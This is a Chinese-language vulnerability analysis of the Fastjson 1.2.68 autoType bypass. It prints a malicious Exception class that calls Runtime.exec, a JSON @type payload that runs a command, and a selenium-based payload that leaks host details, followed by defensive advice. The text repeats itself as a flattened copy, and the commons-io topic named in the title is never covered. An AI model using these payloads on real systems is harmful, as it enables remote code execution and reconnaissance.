fastjson 1.2.68 漏洞及commons-io写文件分析
字数 1931 2025-08-20 18:17:59

Fastjson 1.2.68漏洞分析与利用

1. 漏洞背景

Fastjson 1.2.68版本存在一个新的绕过漏洞,利用expectClass机制可以绕过checkAutoType()的安全检测。该漏洞主要利用ThrowableAutoCloseable接口进行绕过。

2. 漏洞修复历史

  • 1.2.47版本:爆发了严重漏洞
  • 1.2.48版本:修复了漏洞,在TypeUtils.loadClass中增加了cache判断
    • MiscCodec.deserialze调用时,cache默认为false,阻断了cache提前加载恶意类的攻击链路
  • 1.2.48-1.2.67:在这些版本中都是安全的(不手动关闭autoType的情况下)
  • 1.2.68:引入了新的安全控制点safeMode,但默认不开启,存在新的绕过方式

3. 环境配置

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.68</version>
</dependency>

4. 安全机制分析

4.1 safeMode机制

  • 新增的安全控制点
  • 如果开启,将在checkAutoType()直接抛出异常
  • 如果设置了@type就会抛出异常
  • 默认不开启,因此攻击仍然可能

4.2 checkAutoType机制

checkAutoType中:

  1. 使用getClassFromMappingmappings读取类
  2. 在满足以下条件时直接返回取出的类:
    • 期望类expectClass不为空
    • typeName不是HashMap
    • 期望类是typeName的子类

mappings初始化时包含许多类(白名单),其中包括ExceptionAutoCloseable

5. 漏洞利用点

5.1 expectClass参数

expectClass来自checkAutoType的第二个参数,有两个关键调用点:

  1. JavaBeanDeserializer.deserialze
  2. ThrowableDeserializer.deserialze

5.1.1 ThrowableDeserializer利用

攻击流程:

  1. DefaultJSONParser.parse调用ParserConfig.checkAutoType检查和获取类
  2. 获取反序列化器调用deserialze
  3. 如果反序列化器是ThrowableDeserializer且下一个key为@type,会再次调用checkAutoType,并传入Throwable.class作为expectClass

利用条件:

  • 传入的第一个参数exClassName是实现了Throwable子类的恶意类
  • mappings白名单中的ExceptionThrowable的子类,因此可以实现Exception来绕过

示例恶意类:

public class EvilException extends Exception {
    private String command;
    
    public void setCommand(String command) {
        this.command = command;
        try {
            Runtime.getRuntime().exec(command);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

POC示例:

String payload = "{\"x\":\n" +
    "\t{\"@type\":\"java.lang.Exception\",\n" +
    "\t \"@type\":\"org.exploit.third.fastjson.EvilException\", \n" +
    "\t \"command\":\"calc\"}, \n" +
    "}";
JSON.parse(payload);

5.1.2 结合selenium利用

依赖:

<dependency>
    <groupId>org.seleniumhq.selenium</groupId>
    <artifactId>selenium-api</artifactId>
    <version>4.1.1</version>
</dependency>

利用org.openqa.selenium.WebDriverException类可以获取系统信息:

  • getMessage()getSystemInformation()方法能获取:
    • IP地址
    • 主机名
    • 系统架构
    • 系统名称
    • 系统版本
    • JDK版本
    • selenium webdriver版本
  • 通过getStackTrace()获取函数调用栈

示例POC:

String payload = "{\"x\":\n" +
    "\t{\"@type\":\"java.lang.Exception\",\n" +
    "\t \"@type\":\"org.openqa.selenium.WebDriverException\"},\n" +
    " \"y\":{\"$ref\":\"$x.systemInformation\"},\n" +
    " \"z\":{\"$ref\":\"$x.message\"}\n" +
    "}";
JSONObject json = (JSONObject) JSON.parse(payload);
System.out.println(json.getString("y"));
System.out.println(json.getString("z"));

5.1.3 JavaBeanDeserializer利用

ThrowableDeserializer不同:

  • ThrowableDeserializer#deserialze调用的checkAutoType中期望类是固定的Throwable.class
  • JavaBeanDeserializer#deserialzeexpectClass参数是用户可控的

通常选择AutoCloseable作为期望类,因为:

  • AutoCloseable不在黑名单内
  • mappings缓存表内
  • 包含许多有用的接口,如ObjectInputObjectOutput

6. 防御措施

  1. 开启safeMode:这是最有效的防御方式
  2. 升级到最新安全版本:Fastjson团队已发布修复版本
  3. 输入验证:对反序列化的JSON数据进行严格验证
  4. 使用白名单:限制可反序列化的类

7. 总结

Fastjson 1.2.68漏洞主要通过expectClass机制绕过安全检测,利用ThrowableAutoCloseable接口实现攻击。攻击者可以构造特定的JSON数据来执行任意代码或获取系统信息。防御的关键是开启safeMode或升级到已修复的版本。

Fastjson 1.2.68漏洞分析与利用 1. 漏洞背景 Fastjson 1.2.68版本存在一个新的绕过漏洞,利用 expectClass 机制可以绕过 checkAutoType() 的安全检测。该漏洞主要利用 Throwable 和 AutoCloseable 接口进行绕过。 2. 漏洞修复历史 1.2.47版本 :爆发了严重漏洞 1.2.48版本 :修复了漏洞,在 TypeUtils.loadClass 中增加了 cache 判断 MiscCodec.deserialze 调用时, cache 默认为 false ,阻断了cache提前加载恶意类的攻击链路 1.2.48-1.2.67 :在这些版本中都是安全的(不手动关闭autoType的情况下) 1.2.68 :引入了新的安全控制点 safeMode ,但默认不开启,存在新的绕过方式 3. 环境配置 4. 安全机制分析 4.1 safeMode机制 新增的安全控制点 如果开启,将在 checkAutoType() 直接抛出异常 如果设置了 @type 就会抛出异常 默认不开启 ,因此攻击仍然可能 4.2 checkAutoType机制 在 checkAutoType 中: 使用 getClassFromMapping 从 mappings 读取类 在满足以下条件时直接返回取出的类: 期望类 expectClass 不为空 typeName 不是 HashMap 类 期望类是 typeName 的子类 mappings 初始化时包含许多类(白名单),其中包括 Exception 和 AutoCloseable 。 5. 漏洞利用点 5.1 expectClass参数 expectClass 来自 checkAutoType 的第二个参数,有两个关键调用点: JavaBeanDeserializer.deserialze ThrowableDeserializer.deserialze 5.1.1 ThrowableDeserializer利用 攻击流程: DefaultJSONParser.parse 调用 ParserConfig.checkAutoType 检查和获取类 获取反序列化器调用 deserialze 如果反序列化器是 ThrowableDeserializer 且下一个key为 @type ,会再次调用 checkAutoType ,并传入 Throwable.class 作为 expectClass 利用条件: 传入的第一个参数 exClassName 是实现了 Throwable 子类的恶意类 mappings 白名单中的 Exception 是 Throwable 的子类,因此可以实现 Exception 来绕过 示例恶意类: POC示例: 5.1.2 结合selenium利用 依赖: 利用 org.openqa.selenium.WebDriverException 类可以获取系统信息: getMessage() 和 getSystemInformation() 方法能获取: IP地址 主机名 系统架构 系统名称 系统版本 JDK版本 selenium webdriver版本 通过 getStackTrace() 获取函数调用栈 示例POC: 5.1.3 JavaBeanDeserializer利用 与 ThrowableDeserializer 不同: ThrowableDeserializer#deserialze 调用的 checkAutoType 中期望类是固定的 Throwable.class JavaBeanDeserializer#deserialze 的 expectClass 参数是用户可控的 通常选择 AutoCloseable 作为期望类,因为: AutoCloseable 不在黑名单内 在 mappings 缓存表内 包含许多有用的接口,如 ObjectInput 和 ObjectOutput 6. 防御措施 开启safeMode :这是最有效的防御方式 升级到最新安全版本 :Fastjson团队已发布修复版本 输入验证 :对反序列化的JSON数据进行严格验证 使用白名单 :限制可反序列化的类 7. 总结 Fastjson 1.2.68漏洞主要通过 expectClass 机制绕过安全检测,利用 Throwable 和 AutoCloseable 接口实现攻击。攻击者可以构造特定的JSON数据来执行任意代码或获取系统信息。防御的关键是开启 safeMode 或升级到已修复的版本。